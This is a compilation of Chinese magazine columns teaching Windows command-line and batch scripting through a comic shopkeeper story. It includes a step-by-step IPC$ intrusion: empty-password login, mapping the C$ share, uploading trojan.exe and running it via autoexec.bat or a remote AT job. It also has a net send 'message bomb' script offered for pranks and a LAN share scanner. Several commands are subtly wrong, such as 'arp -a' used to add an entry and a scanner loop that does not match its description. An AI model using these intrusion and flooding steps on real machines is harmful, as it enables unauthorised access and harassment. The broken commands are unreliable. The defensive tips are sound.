①显示当前目录下的list.txt文件中“software”字符串出现的次数,忽略大小写
find /c /i "software" list.txt
②搜索d:\docs目录下的所有TXT文件,并显示每个文件中“hello”字符串出现的次数
find /c "hello" d:\docs\*.txt

小提示
find命令和copy、del等命令一样,也支持通配符(*和?)。

名侦探工具大曝光:目录地图tree
名侦探要在硬盘中的文件目录中穿梭自如,当然有他的侦探工具,下面就为大家曝光一件非常强大的目录地图工具:tree。
1.看看当地地形:显示当前目录下的结构图
tree
命令格式:tree
命令讲解:不加任何参数而直接执行tree命令,就会显示出当前目录下所有子目录的结构图(见图4)。如果每次都需要先用cd命令调整当前目录,然后才能使用tree命令,那就太麻烦了!
2.看看别处地形:显示D:\test目录下的结构图
tree d:\test
命令格式:tree [盘符:]\[目录]
命令讲解:如果要显示当前目录之外的目录的结构图,就需要在tree命令后加路径参数了。可是tree命令默认只在结构图中列出目录名,如果要让结构图包含文件名应该怎么做呢?
3.更加精确:显示D:\test目录下的结构图,包含文件名
tree d:\test /f
命令格式:tree [盘符:]\[目录] /f
命令讲解:参数/f我不说大家也知道是“File”(文件)的缩写,如果目录结构过于复杂(包含的子目录及文件数较多),可能会导致此命令长时间刷屏显示,可以使用“Ctrl+C”组合键中止该命令。

侦探怎么用工具:find/tree命令应用实例
1.做个光盘文件目录表(假设光盘所在盘符为G:,生成的目录表为C:\list.txt)
tree g:\ /f > c:\list.txt
2.统计d:\test目录下名为sample.txt的文件个数
tree d:\test /f | find /c /i "sample.txt"

回音壁:attrib前后皆有可能
期号/文章:2005年第10期《DOS快餐店(七)》
读者 大鱼一条:attrib命令除了文章中介绍的格式“attrib ±属性 路径\文件名”之外,还可以将设置属性的参数放在后面,形如“attrib 路径\文件名 ±属性”。

DIY你的DOS菜
上期答案:
1.将最后的脚本例子改为监视其他注册表项的改动,并发出警报。
将代码中的相关注册表项加以修改即可,在此不列出代码。
2.编写能够给整个目录生成MD5文件的批处理脚本。
@echo off
for %%f in (*.*) do md5.exe "%%f" > "%%f.md5"
注意:md5.exe与此批处理脚本必须放在同一目录。
本期习题:
1.显示D:\test目录下所有TXT文件中包含“smart”字符串的个数,忽略大小写。
2.用find命令配合tree命令统计d:\test目录下名为“hello.exe”的文件个数。
=============9快餐店的“魔鬼命令测试”(上)
★★★

√使用基本的网管命令
√学会排除常见网络问题
√用批处理编写共享扫描器
小伙计由于表现优异,掌柜的授予了他“店小二”称号,并美其名曰“店中排行老二,仅次于掌柜的”(小伙计:“不是一共才2个人吗,难道又想用荣誉称号来抵扣薪水……”)。于是店小二开始了业余网管的学习,掌柜的也承诺:学习完成后,如果能够通过“魔鬼命令测试”就替他加薪。
经过几个月疯狂学习,小伙计已经达到了一个业余网管的水平,向着“魔鬼命令测试”进发了。他哪里知道,这其实是掌柜的精心设计的魔鬼测试题,专用来对付员工的加薪要求。
//以下每道题均使用底纹加外框方式,将“第X题”放在外框左上
考试要求:本测试共有4题,解题时只能使用Windows XP SP2自带的命令。
第1题:确定局域网内IP为192.168.0.3的操作系统类型。
解题提示:操作系统为默认设置,未进行特殊修改
(A)Windows 98        (B)Windows 2000/XP        (C)Unix
店小二解题分析:要获知局域网内某台电脑所安装的操作系统类型,最好的方法就是使用扫描器软件,如X-Scan等。但这张魔鬼测试题要求只能使用DOS自带的命令解决问题,首先来分析一下确定远程操作系统的几种方法。
①用telnet登录并分析返回信息:使用telnet命令登录远程计算机后,很多时候都会返回一串文字显示当前系统的状态。比如下面这段:
C:\>telnet XXX.XXX.XXX.XXX
Red Hat Linux release 7.1
Kernel 2.4.2-2 on an i686
login:
可是局域网中的这台计算机并不是服务器,所以没有开放telnet服务,没法使用telnet命令连接上它,获得返回信息更是无从谈起。
②用DF位/ACK序号等方法进行识别:操作系统在对外发送数据包,或者对一个远程连接作为回应时,都会在发送的数据中包含一些特有的信息,就好比每个人的指纹一样。但现在没有相关的扫描工具,所以此方法显示不行。
③使用ping命令获取TTL值:ping是Windows中一个非常实用的命令工具,网管员经常使用此命令来检查网络连通情况。但很少有人知道,ping还有另一个用处,就是检测远程操作系统类型。使用“ping 192.168.0.3”后,返回信息中带有“TTL=XX”,其中“XX”是TTL的值,为数字(见图1)。,通过这个TTL值的比较,就得确定操作系统类型。以下是不同操作系统返回的TTL值的对照表(见附表1)。
(附表1)
操作系统类型                TTL
Windows 98                32
Linux 2.2.x/2.4.x        64
Windows NT/2000/XP        128
Unix/BSD                255
店小二测试了一下,发现返回值为128,于是选择了“(B)”。
小提示
以上TTL值均为近似值,因为在数据包传输过程中,每经过一个路由,TTL值就会自动减1,可以通过tracert命令获得与远程主机间存在的路由个数,来确定精确的TTL值。

芝麻开门:TTL值判断操作系统类型的准确性
TTL判断操作系统类型并非最可靠的,因为一个熟练的网管肯定会将系统默认的TTL返回值修改掉以避免被别有用心的入侵者猜解系统类型,Windows系统中只需修改注册表中[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]分支下的“DefaultTTL”即可修改默认的TTL返回值(见图2 把XP的默认TTL改成了32)。第一题中注明了使用默认设置,并且在局域网环境中,所以用TTL还是比较准确的。

第2题:如果小明的局域网IP地址192.168.0.84被占用了,他应该如何找出谁占用了他的IP?
解题提示:局域网中的用户皆使用自己名字的拼音作为机器名。
店小二解题分析:这一次是简答题,就不像刚才客观题那么简单了(掌柜的窃笑中)。店小二想了想,要找出究竟是谁占用了IP,也就是目的是要知道占用IP的人的名字。此题的提示中说使用名字作为机器名,那么也就是说只能找出现在使用192.168.0.84这个IP的机器名。这可难不倒我,店小二想。接着,他在“命令提示符”中输入了一行命令“nbtstat -A 192.168.0.84”(注意:命令参数中的“-A”必须使用大写),在返回信息中顺利找到了占用IP的用户为“zhangguide”(掌柜的!?)。
小提示
使用nbtstat命令同时获得的还有使用此IP的机器网卡的MAC地址。

第3题:找出当前机器上与207.68.178.16连接的程序名。
解题提示:这道题你肯定不会。
店小二解题分析:“这也算‘解题提示’!?”店小二愤怒地骂了一句,很快又把情绪转移回了题目中。以往要检测系统中开放的端口都会使用“netstat -a”命令,但实际上,如果改换参数,netstat还有其他妙用。首先用“netstat -o”命令显示每个连接所属的程序PID情况,找出“Foreign Address”列中地址为“207.68.178.16”的行,并查看该行的PID为236(见图3)。光有PID还不行,还必须知道PID所属的程序名才行,于是输入“tasklist”命令获得了当前系统中运行的进程列表,对照刚才找出的PID寻找PID为236的进程(见图4),最后确定此进程为msnmsgr.exe,原来是MSN Messenger!

你知道吗——PID是什么
PID的全称是“Process ID”,即“进程ID”,也就是程序进程的惟一身份编号。这个编号是由系统在程序运行之初就随机赋予的,在一台机器上同时运行的程序的PID都不一样。有很多进程相关的命令需要PID参数。

第4题:获得局域网中所有机器的共享列表,并写入文本文件中。
解题提示:需要获得的机器的IP段在192.168.0.1~192.168.0.255。
店小二解题分析:现在手头也没有扫描工具,如果手工一个个检查那得弄到猴年马月啊!早料到掌柜的会出这种难题,还好事先恶补了几星期批处理。
@echo off
@echo Searching share in LAN now...
@for /L %%i IN (195,1,255) do @echo 192.168.0.%%i && @echo 192.168.0.%%i >> share.txt && net view 192.168.0.%%i >> share.txt || @echo 该主机无响应 >> share.txt
@echo Finished
@pause
exit

原来用“new view IP地址”可以探测远程机器上开放的共享,这个脚本实现的功能就是在192.168.0.1~192.168.0.255中自动扫描共享,并将结果记录到share.txt中(此脚本下载地址:http://www.newhua.com/cfan/200513/scanshare.zip)。

店小二高高兴兴地将做好的测试题交给掌柜的,却未料到,掌柜的铁青的脸突然强挤出了一丝笑容:“嗯,你上半场的题答得不错,竟然得了满分……希望你下半场的考试也能这么顺利。”店小二能否顺利通过“魔鬼命令测试”,又能否加薪成功呢?且听下回分解。

DIY你的DOS菜
上期答案:
1.显示D:\test目录下所有TXT文件中包含“smart”字符串的个数,忽略大小写。
find /c /i "smart" d:\test\*.txt
2.用find命令配合tree命令统计d:\test目录下名为“hello.exe”的文件个数。
tree d:\test /f | find /c /i "hello.exe"
本期习题:
1.已知远程主机A的TTL值为125,最可能的操作系统是?另外,请写出数据包经过的路由数。
2.检查局域网中IP为192.168.0.5的用户的机器名。
3.列出系统中运行的所有进程,并写入到task.txt中。
============10快餐店的“魔鬼测试”(下)
★★★

√使用基本的网管命令
√学会排除常见网络问题
自从在上次魔鬼测试中被掌柜的“耍”了一把,店小二就一直嚷嚷着要“讨回公道”。掌柜的安排的下半场测试究竟难度如何呢?
//以下每道题均使用底纹加外框方式,将“第X题”放在外框左上
考试要求:本测试共有4题,解题时只能使用Windows XP SP2自带的命令。
第1题:在本刊第 期《批处理也玩黑吃黑》中介绍了IPC木马的植入过程,期间使用了net use命令连接到了远程计算机的共享硬盘上,那么如何使用命令检测当前是否有用户连接到了我的计算机上呢?
解题提示:net命令包罗万象
店小二解题分析:对于当前已经从网络上登录本地计算机的用户,可以通过“任务管理器”的“用户”选项卡来找到。但现在规定必须使用命令行方式,解题提示中写道“net命令包罗万象”,难道……
店小二在疑惑中打开了“命令提示符”,输入“net /?”回车,在返回的命令帮助中找到了一条有趣的命令“net session”,运行后果然显示了当前连接到计算机的用户列表,其中竟有掌柜的机器“zhangguide”。
掌柜的开始捶胸顿足了,心想实在不应该给他解题提示,便向店小二吼道:“试题追加!你知道怎么断开已经连接的用户吗?”店小二已经从以前各期的《DOS快餐店》介绍的命令中找到了参数的规律,随手输入了一行“net session \\zhangguide /delete”,就把掌柜的机器给断开了。

第2题:当前系统中启动了若干危险的服务,尝试关闭它们。
解题提示:现在放弃虽然不能加薪,但仍可以获得“勇敢者”的荣誉称号。
店小二解题分析:店小二对掌柜的给出的解题提示嗤之以鼻,这可难不倒我!在“命令提示符”下输入“net start”回车后,列出了当前系统中已经启动的服务,仔细地分析之后,基本列出了以下几个“嫌疑犯”。
①服务名:Messenger
这个服务原先是用来发送信息的,可是后来被人用到广告及垃圾信息群发中。如果不停止这个服务,很有可能每天弹出一大堆垃圾信息窗口。
②服务名:RemoteRegistry
如果网络中有人获得了本机的程管理权限后,就能轻松地通过这个服务来对本机的注册表进行修改,相当危险。
③服务名:TermService
终端服务,听名字好像并不那么危险,其实这个就是提供“远程桌面”功能的系统服务,如果有人猜解到了本地的管理员账户或者具有“远程桌面”连接权限的账户的话,就能通过此服务登录本地计算机!
接着,店小二依次用“net stop 服务名”停止了这三个服务,又顺利完成一题。

第3题:局域网中的网关IP为192.168.0.1,局域网中的计算机A无法顺利上网,使用ping命令发现无法与网关建立连接,但与局域网中的其他计算机却能正常ping通,这是为什么?如何解决?(此题为实验题)
解题提示:网关网卡(局域网)的MAC地址为“00-06-29-EE-01-CF”。
店小二解题分析:店小二郑重地走到实验机前,凭着这几个月的学习经验,他尝试着在“命令提示符”下运行了“arp -a”命令,结果在返回的列表中发现了异常。网关192.168.0.1所对应的MAC地址竟然显示为“00-00-00-00-00-00”,这是典型的ARP缓存表错误导致的故障。ARP缓存表记录了局域网中IP与MAC地址的对应关系,由于网关IP对应的MAC地址出错,所以就出现了无法连接网关的故障。解决的方法是使用arp命令手动添加网关IP与MAC地址的对应关系。
arp -a 192.168.0.1 00-06-29-EE-01-CF
命令的格式为“arp -a IP地址 MAC地址”,遇到此故障时可以修改为相应的命令参数。运行这条命令后,再次ping网关的IP,成功接通。

DIY你的DOS菜
上期答案:
1.已知远程主机A的TTL值为125,最可能的操作系统是?另外,请写出数据包经过的路由数。
最可能的操作系统是Windows NT/2000/XP,由于每经常一个路由,TTL值会自动减1,故判断经过3次路由(128-3=125)。
2.检查局域网中IP为192.168.0.5的用户的机器名。
nbtstat -A 192.168.0.5
3.列出系统中运行的所有进程,并写入到task.txt中。
tasklist.exe > task.txt
本期习题:
1.断开用户Cornel在本地的连接会话。
2.添加192.168.0.3与00-58-23-DA-01-CB关联的ARP记录。
==============12

终极技能——循环(下)
★★★★

√学会在批处理中使用循环
√利用循环完成批量任务
√循环的高级使用技巧
店小二的绝招:用循环打广告
这是DOS快餐店最后一次营业,掌柜的代表本店全体员工感谢大家一直以来的支持(店小二:“不就俩人吗……”掌柜的:“你快给我出来行礼!”)。
店小二听掌柜的说快餐店要关门大吉了,就开始提前懈怠了,从网上下载了一大堆免费的网络小说偷偷看了起来,当然结果又是一样的……三分钟后,掌柜的准时出现在店小二背后,铁青的脸强挤出一丝久违的职业微笑,对店小二说:“虽然DOS快餐店告一段落了,但最近我们大家都在筹备新的VBScript快餐店,你却在这儿闲着,就不能为新店开张做点宣传吗?”豆大的汗珠从店小二的额头上滚下来,幸好使用的是防水键盘,不然……
店小二的头上突然冒出一个电灯泡,何不把自己这些天来整理的一大堆免费小说都放到快餐店的网站上?掌柜的马上说:“很好,可是你这一大堆的文本文件,能不能在每个文件的最后加上一行宣传语呢?”
面对这上百个文本文件,店小二一下子傻了眼,后悔不该提这事,但是想到背后掌柜的脸色,就只好决定拿上次学到的终级技能“循环”来试试运气了。
@echo off
for %%f in (*.txt) do (
echo. >> %%f
echo DOS快餐店收集整理 >> %%f
)
这个脚本用于在当前目录中遍历所有TXT文件,并用重定向语句将广告信息写入文件最后。简单的循环有时可以帮我们很多忙,当满足循环条件时,批处理就执行do后的语句,但如果每次循环时想同时执行多条语句,则可通过在多条语句外侧加括号的方法来实现。另外,“echo. >> %%f”是要向%%f代表的文件最后写入一个回车,以便于小说正文与广告语句之间的区分。但需要注意的是,“echo”与“.”之间不能存有空格。

让循环更强大的催化剂:元素提取
店小二不知从哪儿弄到一大批顾客资料,但资料实在是有点详细的“惊人”,格式如下:
姓名 年龄 单位 性别 电话 个人简介
张三 20 CFan 男 13800000000 我叫张三……
李四 30 Digi 女 13900000000 我叫李四……
在这个顾客资料的文本里,有成千上万条这样的记录。而掌柜的看到这份顾客资料之后,也颇称赞了店小二一番。正当店小二开始飘飘然的时候,掌柜的却又突然严肃起来:“资料确实很详细,但是似乎太详细了,我只需要保留‘姓名’和‘电话’这两列,你快处理一下,下午就要。”说完给了个样例就转身走了。以下是样例:
张三
13800000000
李四
13900000000
Google、百度……店小二几乎试了所有的搜索引擎,可是毫无线索,根本就没有软件能够直接完成这项工作。于是,他偷偷钻进了掌柜的私人书房,找出了那本《批处理高级菜谱》,细细研究之后,试着写出了下面的代码。
@echo off
for /f "eol=; tokens=1,5 delims=, " %%i in (custom.txt) do echo %%i %%j >> new.txt
在上期的《DOS快餐店》中大家学习了使用参数/L来让for语句支持数字序列,同样地,参数/f实现的功能是让循环支持分离选项。所谓分离,就是将一行文字中通过某种方式(如空格)进行分割的元素分离出来,供循环后的执行代码使用。
“eol=;”是指忽略以分号开头的行,就是说如果某一行如果类似于“;张小三……”,那这行将不被循环处理。“tokens=1,5”是指提取分离出来的第1个和第5个元素,“delims=,”是指分割方式,空格和“/”则无需指定,直接作为默认分割符。经过这样分离循环后,一行中的第1个和第5个元素被分别赋值给了变量%%i和%%j,刚才一行资料中的第1个元素是姓名,而第5个元素则是电话,然后再将这两个存有所需元素的变量值追加写入到new.txt中,之所以用追加写入,是因为循环要处理很多行,如果不使用“>>”追加在末尾的话,则会覆盖掉上一行循环中写入的数据。

DIY你的DOS菜
上期答案:
1.将1到100的数字按顺序逐个写入num.txt中,每个数字占一行。
for /L %%c in (1,1,100) do echo %%c >> num.txt
2.将当前目录下的所有文件都加上“dos”前缀,比如1.jpg改名为dos1.jpg。
@echo off
for %%f in (*.*) do ren %%f dos%%f
==============特别

批处理也玩“黑吃黑”
★★★

√了解IPC入侵原理并掌握防御方法
√抵抗信使炸弹的攻击
√打造带警报的自启动项防火墙

自从前几次小伙计写了几个精彩的脚本后,就始终有些飘飘然,觉得掌柜的也不过如此,江湖上传言他为顶尖高手原来也只是浪得虚名罢了。这不?小伙计大摇大摆地走进了掌柜的办公室,准备提出加薪要求。可是掌柜的在干嘛呢?目不转睛地盯着他的19'液晶屏幕并间歇性地进入沉思。
小伙计蹑手蹑脚地绕到了掌柜的背后,顿时被显示器上的内容镇住了——原来掌柜的是一个黑客组织成员。经过一番软磨硬泡,掌柜的终于同意传授几招。

一、IPC木马之迷
IPC,你可能听过这个名词。前几年IPC漏洞曾经红极一时,从原先黑客们手工敲入命令行,到后来出现了能在扫描时同步植入木马的高效IPC扫描器。现在仍有不少人天天开着IPC扫描器在网上寻找“肉鸡”,但究竟IPC入侵是怎么回事呢?掌柜的拿小伙子的机器(IP:192.168.0.2,系统:Windows 2000)做起了测试。
注意:以下代码仅对具有空口令管理员账户的系统有效(net use命令的使用请参考本刊今年第9期的《连根拔起——共享的二次登录》)。
net use \\192.168.0.2\ipc$ "" /user:"administrator"
这行命令的大意是:以用户名administrator及空密码登录IP地址为192.168.0.2的机器上的IPC共享,登录了这台机器的IPC共享后就相当于拿到了对它的管理访问权限,那些具有远程参数的命令就有用武之地了(比如本刊今年第10期的《DOS快餐店》中介绍的AT命令)。
net use z: \\192.168.0.2\c$
这行命令的大意是:登录IP为192.168.0.2的机器上的共享资源c$,并将这个共享映射为本地盘符Z:。
“咦?我明明没开共享啊!”小伙计惊呼。掌柜的头也不回便答道:“难道你不知道Windows的默认共享吗?”
什么是Windows的默认共享:在Windows 2000/XP等系统中,为了便于管理,默认将各盘符都设置了共享。共享名与盘符相同,但在最后加了一个“$”隐藏符号,这样在普通情况下就无法从“网上邻居”中浏览到这个共享资源。而一旦登录了IPC管理共享,就能够轻易添加对这些共享盘符的映射了。
现在小伙计的C盘已经被掌柜的映射为自己的Z盘了,而且访问权限是“完全控制”!也就是说通过对本地Z盘的操作,就能轻松控制远程主机上的C盘。“如果是黑客得到了这样的访问权限,那么我想,他现在应该会上传木马了。”掌柜的如是说。
copy d:\trojan.exe z:\winnt\system32
这行命令的大意是:将d:\下的文件trojan.exe(可能是黑客本地机器上的一个木马程序)复制到z:\winnt\system32目录(被入侵机器的远程目录)中。
经过这条copy命令,木马文件已经轻松上传到了小伙计的系统目录中。小伙计还有些不服:“就算你能把木马放进我的硬盘又怎样,只要我不执行它,你就拿我没折。”“要运行这个程序,有N种方法。”掌柜的轻蔑地看了小伙子一眼,冷冷地答道。
①重启后运行:加入自启动文件
在本地新建一个文本文件并命名为autoexec.bat,在其中加入一行命令“trojan.exe”(不含引号),然后执行以下命令(假设刚才新建的位置在d:\):
copy d:\autoexec.bat z:\ /y
这行命令的大意是:用本地目录d:\下的文件autoexec.bat覆盖远程目录z:\(即被入侵的机器的C盘根目录)下的同名文件,在启动系统时默认将自动执行autoexec.bat中的命令,那么当小伙计重启系统后,木马就偷偷执行了……
②现在就运行:远程AT命令
net time \\192.168.0.2
首先用net time命令获取远程计算机的系统时间,命令返回结果显示小伙计的系统时间为14:55,现在可以用AT命令了(AT命令的使用请参考上期《DOS快餐店》)。
at \\192.168.0.2 15:00 trojan.exe
这样到了15:00时,远程计算机上就自动执行了trojan.exe。
小提示
在以上的命令中使用“trojan.exe”而非“c:\winnt\system32\trojan.exe”是由于该文件在系统目录(即system32)下,如果没有全路径,则系统会首先从系统目录下寻找符合名称要求的文件。

如何防范IPC攻击
1.安装网络防火墙,并为Administrator用户设置一个较复杂的超过8位的密码。
2.使用本刊今年第9期中的《用好Windows权限之剑——严防非法入侵》中介绍的方法给CMD设置权限。

二、疯狂的信使消息炸弹
新装完系统之后,很多用户都会报怨为什么会弹出信使服务的窗口(在CFan的论坛上就经常会有读者提这个问题)。信使服务原来是微软设计用来帮助用户及时传递重要消息的工具,可是现在却被很多人用来传递广告,在命令行提示符下输入“net send IP地址 要发送的消息”命令即可。想不想当一回“黑客”,来和朋友开个小玩笑呢?将下面的脚本保存为BAT文件(如:sendmsg.bat):
@echo 正在攻击中
:start
@net send %1 %2
@if errorlevel 1 goto over
goto start
ver
@echo 发送失败
这样,只需执行“sendmsg.bat IP地址 要发送的消息”,就会自动向指定的IP循环发送消息,直到对方因窗口过多而被迫重启。
这段脚本的大意是:脚本开始时显示“正在攻击中”利用net send命令将第二个参数所包含的内容作为消息发送到第一个参数所指定的计算机上。如果net send命令执行不成功(比如远程主机不存在,或者未打开这项服务),则脚本会跳转到over标号处,显示“发送失败”并退出脚本。而如果发送成功的话,则跳转到start标号,start标签在net send命令前,所以发送成功之后就会又重新发送,形成了循环发送。

如何防范信使消息炸弹
1.安装具有过滤信使消息的防火墙。
2.运行services.msc,在弹出的服务窗口右侧列表中双击Messenger服务,点击“停止”按钮并将“启动类型”设置为“禁用”。

三、启动项被更改时,请通知我
小伙计还在检查刚才被掌柜的入侵的自启动项:“黑客都这样神不知鬼不觉地入侵,那我该如何防御呢?”掌柜的不慌不忙地拿出了收藏的利器——MD5检测工具(以下的脚本中需要用到此工具,可从http://www.newhua.com/cfan/200511/md5.zip)。
什么是MD5:MD5的全称是Message-Digest Algorithm 5(信息-摘要算法),它能将一串随机长度的信息(当然也包括文件)通过其加密函数算法生成一个惟一的128位值,相同信息的MD5值也是相同的,反之,文件即使略有改动,其MD5值也会产生变化。因此,只需比较文件的MD5值,就能知道文件是否经过改动了。
1.给自启动项生成MD5“身份证”
将以下脚本保存为run.bat,和刚才下载的md5.exe(从md5.zip中解压缩得到)放在同一目录下。每次执行都将生成autoexec.bat文件的MD5文件ate.md5和注册表自启动项的MD5文件run.md5(autoexec.bat文件的路径可根据实际系统所在盘符进行修改,一般为默认的c:\)。
@echo off
md5.exe c:\autoexec.bat > c:\ate.md5
regedit.exe /e c:\run.reg HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
md5.exe c:\run.reg > c:\run.md5
脚本讲解:用md5.exe生成c:\autoexec.bat文件的MD5值,并写入c:\ate.md5中。导出注册表分支[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]为c:\run.reg,再以md5.exe计算出该文件的MD5值并写入c:\run.md5中。
2.查验自启动项的MD5“身份证”
将以下脚本保存为check.bat,和md5.exe放在同一目录下。
@echo off
md5.exe c:\autoexec.bat > c:\ate2.md5
regedit.exe /e c:\run.reg HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
md5.exe c:\run.reg > c:\run2.md5
fc c:\ate.md5 c:\ate2.md5 > nul
if errorlevel 1 @echo Msgbox "autoexec.bat文件经过改动!",vbInformation,"黑客警报" > c:\warn.vbs
if exist c:\warn.vbs c:\warn.vbs
del c:\warn.vbs
fc c:\run.md5 c:\run2.md5 >nul
if errorlevel 1 @echo Msgbox "注册表自启动项经过改动!",vbInformation,"黑客警报" > c:\warn.vbs
if exist c:\warn.vbs c:\warn.vbs
del c:\warn.vbs
脚本讲解:用md5.exe生成c:\autoexec.bat文件的MD5值,并写入c:\ate2.md5中。导出注册表分支[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]为c:\run.reg,再以md5.exe计算出该文件的MD5值并写入c:\run2.md5中。然后用fc命令比较c:\ate.md5(以前的autorun.bat的MD5文件)和c:\ate2.md5(现在的autorun.bat的MD5文件)。如果发现MD5值发生了变化(即两个MD5文件不一致),下方的“if errorlevel 1”语句就会执行其右侧的命令了,右侧的“@echo Msgbox "注册表自启动项经过改动!",vbInformation,"黑客警报" > c:\warn.vbs”是将“Msgbox "注册表自启动项经过改动!",vbInformation,"黑客警报"”这行语句写入文件c:\warn.vbs中,如果写入成功(文件存在)就执行。再用fc命令比较c:\run.md5 c:\run2.md5,如果发现MD5变化,即文件改动就将“Msgbox "注册表自启动项经过改动!",vbInformation,"黑客警报"”写入到文件c:\warn.vbs中,写入成功就执行。这行VBS脚本的功能是弹出一个对话框,并显示指定的文字(见图1)。在弹出框被关闭后,就删除这个VBS文件。
*fc命令的详细使用方法将在今后的《DOS快餐店》中进行讲解。
脚本使用:将check.bat加入注册表自启动项中(也可是其他启动方式),双击run.bat进行MD5文件的初始化(以后每次进行合法的自启动项修改时,都要重新运行这个脚本一次),重新启动后即开始检查。

DIY你的DOS菜
上期答案:
1.为D:\music\1.mp3添加“只读”属性,同时清除“隐藏”属性。
attrib +r -h d:\music\1.mp3
2.将D:\music目录下所有文件及子目录设置为“隐藏”,但不包括D:\music目录本身。
attrib d:\music\*.* /s /d
3.在每月20日的12:00以前台方式运行d:\test.exe。
at 12:00 /every:20 /interactive d:\test.exe
本期习题:
1.将最后的脚本例子改为监视其他注册表项的改动,并发出警报。
2.编写能够给整个目录生成MD5文件的批处理脚本。